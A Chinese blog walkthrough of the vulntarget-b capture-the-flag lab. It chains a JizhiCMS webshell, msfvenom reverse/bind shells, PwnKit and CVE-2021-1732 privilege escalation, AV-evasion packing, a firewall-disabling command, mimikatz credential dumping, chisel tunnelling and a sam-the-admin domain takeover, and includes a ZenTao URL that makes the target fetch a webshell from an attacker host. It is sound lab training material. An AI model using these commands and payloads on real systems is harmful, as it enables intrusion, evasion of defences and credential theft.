VulnTarget-b

最新推荐文章于 2024-06-20 16:27:09 发布
最新推荐文章于 2024-06-20 16:27:09 发布
阅读量419 收藏 2
点赞数
分类专栏： 靶机练习 文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_47372600/article/details/131250215
版权

实验目标：拿下域控中的flag.txt
学习目标：极致CMS相关漏洞/禅道CMS相关漏洞/隧道代理/免杀/CVE-2021-1732/CVE-2021-42287/CVE-2021-42278
靶机下载：其中vulntarget-b为本次实验机器

百度云：
链接: https://pan.baidu.com/s/1p3GDd7V3Unmq3-wSAvl7_Q 提取码:1p9p

》》》靶机信息《《《

#攻击机
OS:Kali 2022.2
外NIC:192.168.x.x   (桥接模式)(与Centos-7主机进行通信)

#Web Server
OS:Centos 7
Server:极致CMS/宝塔
username:root/vulntarget
password:root
外NIC:192.168.x.x     (桥接模式)(与Kali通信)
内NIC:10.0.20.30 (仅主机模式)(与内网Win10主机即域成员进行通信)

#域成员-Win10
OS:Windows 10
Server:禅道CMS/火绒
本地账户：
win10:win10#123
administrator:admin@123
域成员：
vulntarget\win101:admin#123
Web后台：
admin:Admin123
内NIC：10.0.20.66     (仅主机模式)(与Centos 7即WEB主机进行通信)
内NIC：10.0.10.99    (仅主机模式)(与Win2016即域控通信)

#域控-Wins16
OS:Windows Server 2016
Server:AD DC
username:vulntarget\administrator	
password:Admin@123
内网NIC：10.0.10.100    (仅主机模式)(与Win2016即域内成员通信)(能够Ping通Win2016主机)

一：边界主机

步骤一：在边界主机中登录并修改网卡配置文件ifcfg-ens33将其中IP地址信息改为与桥网络同一网段的IP地址

#编辑配置文件
vi /etc/sysconfig/network-scripts/ifcfg-ens33
#修改内容信息(能够与攻击机相互通信)
IPADDR=192.168.50.106          //修改
NETMASK=255.255.255.0      //修改
GATEWAY=192.168.50.1        //修改

0x00：信息收集

步骤二：使用Nmap对目标主机进行扫描…发现开放:21/22/80/81/888/3306/8888等端口…

nmap -sT -Pn 192.168.50.106

image.png
步骤三：访问后发现80为宝塔默认页面/81为极致CMS站点/8888为宝塔登录入口…下一步从极致CMS站点入手…
image.png
image.png
步骤四：使用Dirb扫描目标敏感目录…发现后台登录与版本信息…

#扫描命令
dirb http://192.168.50.106:81/
#扫描信息
http://192.168.50.106:81/admin.php/Login/index.html   //后台登录
http://192.168.50.106:81/readme.txt                   //版本信息
http://192.168.50.106:81/robots.txt                   //敏感目录

image.png
image.png

0x01：漏洞利用

步骤五：根据以上扫描收集到的信息搜索该极致CMS Beta1.8.1的漏洞发现存在后台GetShell…尝试使用BP进行爆破，测试验证存在验证码复用且爆破结果为默认用户密码admin:admin123进行登录，成功…
image.png
image.png
步骤六：开始后台GetShell，点击扩展管理–>插件列表–>找到在线编辑模板–>下载–>安装–>配置–>输入账户密码–>点击立即提交–>跳转到在线文件管理工具–>登录即可
image.png
image.png
image.png
步骤七：在在线文件管理器中新建文件并写入一句话木马，测试访问并用蚁剑链接…
image.png
image.png
image.png

0x02：绕过disable_functions

步骤八：在Shell中执行命令时返回ret=127可能是宝塔禁用了命令执行的函数，这里使用蚁剑的插件进行绕过执行命令…测试发现还是有些命令执行不了…
image.png
image.png
image.png
步骤九：进行简要的信息收集…发现存在通往内网的网卡且当前权限为低权限需要提全…

#收集命令
id
whoami
uname -a
/sbin/ifconfig
cat /etc/passwd
#收集信息
低权限用户:www
可用用户：root/vulntarget
网卡信息：192.168.50.106/10.0.20.30

步骤十：使用MSF生成后门并上传到蚁剑中执行，进行反弹Shell…

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.50.46 LPORT=1234 -f elf -o outside.elf

msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.50.46
set lport 1234
show options
run

image.png

0x03：权限提升

步骤十一：使用以下模块查找可提权的漏洞…这里直接使用cve_2021_4034_pwnkit_lpe_pkexec进行提权限

run post/multi/recon/local_exploit_suggester

image.png
步骤十二：执行以下命令来进行提权…即可获取到最高权限root

#执行命令
bg
use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
set session 1
run
#注意事项
1.在云主机上的MSF一定要设置好Payload，且其中的LHOST为外网地址才能正常返回高权限的Shell

image.png
步骤十四：进入到Shell中获取到Flag…

vulntarget{get-one-centos-privilage-promotion}

image.png

二：域内主机

0x00：内网信息收集

步骤一：在MSF中查看路由信息并添加路由…

run post/multi/manage/autoroute  #添加路由
run autoroute -p    #查看路由

image.png
步骤二：使用MSF的PortScan模块对内网进行主机存活及端口开放扫描…发现内网10.0.20.66开放8080端口

use auxiliary/scanner/portscan/tcp
set rhost 10.0.20.0/24
set ports 21,22,80,135,139,445,8080
set threads 30
run

image.png
步骤三：上传fscan到蚁剑并执行以下命令，发现10.0.20.66主机为存活且开放3306/8080端口…

#项目地址
https://github.com/shadow1ng/fscan
#执行命令
./fscan_amd64 -h 10.0.20.0/24 -np   #-np   禁ping扫描

image.png
步骤四：这里使用chisel进行流量代理的搭建…这里搭建反向流量代理…使用浏览器测试访问内网站点…

#项目地址
https://github.com/jpillora/chisel
#Kali执行命令
./chisel server -p 50050 --reverse
#边界主机执行命令
./chisel client 192.168.50.46:50050 R:socks
#代理配置
127.0.0.1 1080 socks5

image.png
image.png

0x01：内网Web攻击

步骤五：访问以下地址可获取该CMS的版本…在网络上搜索该禅道CMS系统的漏洞，发现存在CNVD-C-2020-121325漏洞，直接复现！！！

http://10.0.20.66:8080/index.php?mode=getconfig

image.png
步骤六：先尝试弱口令登录，尝试几次后处罚防护机制故取出使用BP爆破的思路，尝试在边界主机上爆破的账号密码admin:Admin123即可登录成功…image.png
image.png
步骤七：在边界主机上写入一句话木马并开启HTTP服务器对内网主机提供下载…并将提供出来一句话木马下载地址进行base64编码…

#将木马写入到第一层的centos机器中
echo "<?php @eval(\$_POST['cmd']); ?> " >1.php    #$前加一个反斜杠转义
#开启python的http服务
python -c 'import pty; pty.spawn("/bin/bash")'  //交互式
python -m SimpleHTTPServer 4567
python -m SimpleHTTPServer 7089
#base64编码
HTTP://10.0.20.33:4567/1.php
SFRUUDovLzEwLjAuMjAuMzM6NDU2Ny8xLnBocA==

image.png
image.png
步骤八：进行GetShell，将以上步骤得到base64编码值放到link参数后面下载后门文件，访问特定地址即可获取到Shell地址…蚁剑链接访问…

#漏洞利用
http://10.0.20.66:8080/index.php?m=client&f=download&version=1&link=SFRUUDovLzEwLjAuMjAuMzM6NDU2Ny8xLnBocA==
#Shell地址
http://10.0.20.66:8080/data/client/1/1.php

image.png
image.png
步骤九：执行以下命令进行信息收集…

#whoami /priv
iis apppool\zentao

#system
OS:Windows 10 18363 专业版

#ipconfig
NIC1:10.0.20.66
NIC2:10.0.10.99

#systeminfo
#net time /domain
域：vulntarget.com
域控IP：10.0.10.100

#tasklist /svc
火绒/windows defender

#查看防火墙状态
netsh advfirewall show allprofile state   
#关闭防火墙
netsh advfirewall set  allprofile state off

步骤十：通过以上信息判断为低权限且为域内主机，在MSF上生成正向链接木马加壳并在蚁剑运行上线…

msfvenom -p windows/x64/meterpreter/bind_tcp  LPORT=6061 -f exe > inside.exe

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 6061
set Rhost 10.0.20.66
run

加壳免杀：http://www.ucbug.com/soft/33605.html
image.png

0x02：内网Web提权

步骤十一：在MSF中使用以下模块搜索漏洞利用模块进行提权…未果在公网上搜索相关提权漏洞…

meterpreter > run post/multi/recon/local_exploit_suggester

image.png
步骤十二：在公网找到CVE-2021-1732针对于Windows 10的提权漏洞…Github上寻找并在下载放置到蚁剑中执行测试…这里同样需要加壳绕过火绒…

#提权项目
源项目地址：https://github.com/shanfenglan/test/blob/master/cve-2021-1732.exe
备份地址：https://github.com/sukusec301/test/blob/master/cve-2021-1732.exe
#使用方式
cve-2021-1732.exe whoami

image.png
步骤十三：使用MSF生成正向连接马并加壳，开启MSF监听并执行以下命令就能上线System权限的Shell…

msfvenom -p windows/x64/meterpreter/bind_tcp  LPORT=6062 -f exe > i2side.exe

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 6062
set rhost 10.0.20.66
run

cve-2021-1732_se.exe i2side_se.exe

image.png
步骤十四：尝试抓取密码…只抓取到了域成员是win101账户的NTLM Hash解密得到密码admin#123；添加路由信息…

#抓取密码
load kiwi
cerds_all
kiwi_cmd sekurlsa::logonpasswords
#添加路由
run post/multi/manage/autoroute  //添加路由
run autoroute -p                 //查看路由

image.png
image.png
image.png

三：域控服务

0x00：域内信息收集

步骤一：使用scaninfo扫描内部存活主机…发现存活主机10.0.10.100且扫描出主机账号密码信息…

#项目地址
https://github.com/redtoolskobe/scaninfo
#使用方法
scaninfo_windows_x64.exe -i 10.0.10.0/24

image.png
步骤二：也可使用MSF的Portscan模块对目标进行端口扫描…

use auxiliary/scanner/portscan/tcp
set rhost 10.0.10.100
set ports 21,22,80,135,139,445,8080
set threads 30
run

image.png
步骤三：使用最近的CVE-2021-42287/CVE-2021-42278漏洞来获取域控权限…配置代理与proxychains信息

#代理配置
use auxiliary/server/socks_proxy   
show options   
run
jobs
#proxychains配置
vi /etc/proxychains4.conf
socks5 127.0.0.1 1081
#链接测试
proxychains nmap -Pn -p 110 -sT 10.0.10.110

image.png

0x01：域控服务攻击

步骤四：编辑本地Host文件修改域名信息并下载漏洞攻击项目到本地…使用Python脚本并按照以下格式攻击即可获取到域控的Shell…

#vi /etc/hosts
10.0.10.100 vulntarget.com
#漏洞项目下载
https://github.com/WazeHell/sam-the-admin
#漏洞攻击使用
proxychains python3 sam_the_admin.py "域名/域用户:用户密码" -dc-ip 域控IP -shell
proxychains python3 sam_the_admin.py "vulntarget.com/win101:admin#123" -dc-ip 10.0.10.100 -shell

image.png
image.png
步骤五：进入到域控管理员的家目录发现flag.txt…查看内容为如下

再次恭喜拿下域控 +_+

打印机漏洞,CVE-2021-42287/CVE-2021-42278 域内提权 GET

vulntarget{domain-continue}

参考链接：

https://blog.csdn.net/zhangge3663/article/details/116430637/
https://blog.csdn.net/qq_36197704/article/details/109385695
https://blog.csdn.net/kelenwait/article/details/117676942
https://cloud.tencent.com/developer/article/1928565
https://cloud.tencent.com/developer/article/1926625
https://zhuanlan.zhihu.com/p/360149991
BearSec
关注
  • 0
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
极致CMS 漏洞简单分析
ximo的博客
05-02 5014
环境搭建 极致CMS1.6.7 下载地址：https://www.jizhicms.cn/thread-95-1-1.html 目录框架 404.html A 后台控制文件 Conf 公共函数 FrPHP框架 Home 前台控制文件 Public 公共静态文件 README.md admin.php 后台入口 backup 备份 cache 缓存 favicon.ico index.php 前台入口 install readme.txt static 静态文件 web.co
Vulntarget-b
weixin_44339234的博客
12-22 497
vulutarget系列
极致CMS（以下简称_JIZHICMS）的一次审计-SQL注入+储存行XSS+逻辑漏洞.pdf
03-22
极致CMS（以下简称_JIZHICMS）的一次审计-SQL注入+储存行XSS+逻辑漏洞.pdf
猫舍-sql注入
tlucky的博客
04-16 2465
漏洞地址 http://afsgr16-b1ferw.aqlab.cn/index.php?id=1 漏洞类型 Sql注入 漏洞描述及危害 sql注入是一种将sql代码插入或添加到应用用户的输入参数中，再将这些参数传递给后台的sql服务器加以解析并执行。Sql注入会导致数据库信息泄露，网页被篡改，数据库被恶意操作，服务器被远程控制和被种植木马等多种危害。 漏洞详情 http://afsgr16-b1ferw.aqlab.cn/index.php?id=1 属于数字型注入 ①数据库名 ②表名 http://
【靶场实战】vulntarget-b漏洞靶场实战
最新发布
TT小子的博客
06-20 1272
vulntarget-b漏洞靶场是由vulntarget大佬团队自己设计搭建的靶场，其中涵盖Web漏洞、主机漏洞、域漏洞、工控漏洞等等。
vulntarget漏洞靶场-vulntarget-b
aming小老弟
07-19 3210
vuln靶场
vulntarget靶场系列.zip
01-16
靶场，是指为信息安全人员提供实战演练、渗透测试和攻防对抗等训练环境的虚拟或实体场地。在不同的领域中，靶场扮演着重要的角色，尤其是在网络安全领域，靶场成为培养和提高安全专业人员技能的重要平台。...
vulntarget-b
m0_46105229的博客
04-25 2514
文章目录前言一、centerOS71.扫描IP2.扫描服务3.漏洞利用二、win10域环境1.扫描IP2.漏洞利用三、域控Windows server2016总结 前言 靶场是vulntarget-b，环境可以自己百度下载 拓扑图： 一、centerOS7 1.扫描IP nmap -F 192.168.252.3-254 2.扫描服务 sudo nmap -sV -p 21-10000 192.168.252.151 浏览器访问http://192.168.252.151:81/，发现是一个极
靶场-vulntarget-b
weixin_58602402的博客
06-21 388
2.开始后台GetShell，点击扩展管理–>插件列表–>找到在线编辑模板–>下载–>安装–>配置–>输入账户密码–>点击立即提交–>跳转到在线文件管理工具–>登录即可-----》失败，没有加载出插件来。6.通过执行上面的命令收集而来的信息，发现其是域内的低权限主机，在MSF上生成正向木马加壳免杀后通过蚁剑上传运行，注意需要将靶机上的防火墙关闭后才能反弹shell成功。1.访问以下地址可获取该CMS的版本，在网络上搜索该版本禅道CMS系统的漏洞，发现存在CNVD-C-2020-121325漏洞，直接复现！
【vulntarget】系列：vulntarget-b 练习WP
一只爱吃橙子的羊
07-12 940
【vulntarget】靶场系列，vulntarget-b 练习WP，会持续更新……
PHP代码审计4—Sql注入漏洞
W0ngk，一个安全菜鸡，一直在模仿，尚未有超越。
07-18 1939
SQL注入代码审计入门
jizhicms(极致CMS)v1.7.1代码审计引发的思考1
08-03
思考在 CNVD 闲逛的时候看到这款 CMS, 发现常见的用于 getshell 的漏洞都有人提交过，顿时来了兴趣，下载下来经过审计发现漏洞的利用方式和常规方法
vulntarget-b 免杀火绒，多层域控内网靶场
weixin_68408599的博客
12-31 1188
靶场环境：项目地址：涉及知识点：极致cms相关漏洞、禅道cms相关漏洞、隧道代理、免杀、CVE-2021-1732 、CVE-2021-42287/CVE-2021-42278kali攻击机 ip:192.168.127.129。
[代码审计]极致CMS1.9.5存在文件上传漏洞
Y4tacker的博客
05-11 2939
文章目录极致CMSv1.9.5存在文件上传漏洞前言分析 极致CMSv1.9.5存在文件上传漏洞 前言 网上看到CNVD爆了，自己闲的没事做也稍微找一下，蛮简单的也挺常见的 分析 准备工作 首先本地创建一个php文件，这里我用1.php，内容为<?php eval($_POST[1]);?>之后把这 个文件压缩为zip后缀压缩包，上传至公网服务器即可，压缩包结构如下所示 漏洞利用点在后台插件安装处，我们任意点击一个插件点击安装抓包 发现url参数可控 在A/c/PluginsControll
记某CMS漏洞getshell
zhangge3663的博客
05-05 2793
记极致CMS漏洞getshell 今天下午比较空闲，就去搜索一些cms，突然对极致CMS感兴趣，而网上已经有一些文章对它进行分析利用，sql注入,xss,后台修改上传后缀名前台getshell等等。 于是就引起了我的兴趣想去测试一下。 信息收集 还是因为自己太懒，不想搭建环境，然后就想网上有好多网站啊，随便找一个去看看。hhh然后去利用fofa去搜索。（不能随便乱日） 弱密码yyds 搜索了一些网站，我们直接在url后面添加/admin.php,就直接跳到后台登录的地方。 看到后台?!嗯
vulntarget-b靶场详细通关记录
tpaer的博客
11-23 3205
vulntarget-b靶场最详细通关记录。
vulntarget-b wp
shajianlong666的博客
07-02 231
打内网靶场电脑配置一定要好，不然就太痛苦了（这个靶场是我目前打过比较难的了）
vulntarget-j
09-18
vulntarget-j 是一种安全测试平台，旨在模拟真实网络环境中的漏洞，以便于安全专业人员进行渗透测试和漏洞分析。该平台提供了一系列虚拟机和漏洞环境，使用户能够模拟并测试真实世界中常见的漏洞攻击。vulntarget-j 不仅可以用于入侵测试，还可以用于培训和教育目的。 vulntarget-j 的虚拟机和漏洞环境包括各种常见的漏洞和安全漏洞，例如操作系统漏洞、Web应用程序漏洞、网络服务漏洞等。用户可以使用这些虚拟机来发起各种类型的攻击，如恶意代码注入、SQL注入、跨站脚本等。除了这些预设的虚拟机，用户还可以创建自己的漏洞环境，以满足特定的安全测试需求。 vulntarget-j 还提供了一个用户友好的界面和工具集，使用户能够轻松配置和管理虚拟机和漏洞环境。用户可以根据自己的需求选择不同的配置选项，并且可以随时修改和更新环境。另外，该平台还提供了详细的文档和教程，帮助用户更好地了解和使用平台功能。 总而言之，vulntarget-j 是一个功能强大且易于使用的安全测试平台，适用于安全专业人员进行渗透测试和漏洞分析。它提供了各种虚拟机和漏洞环境，使用户可以模拟并测试现实世界中的漏洞攻击。此外，它还具有用户友好的界面和工具集，并提供了详细的文档和教程，帮助用户更好地使用平台。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值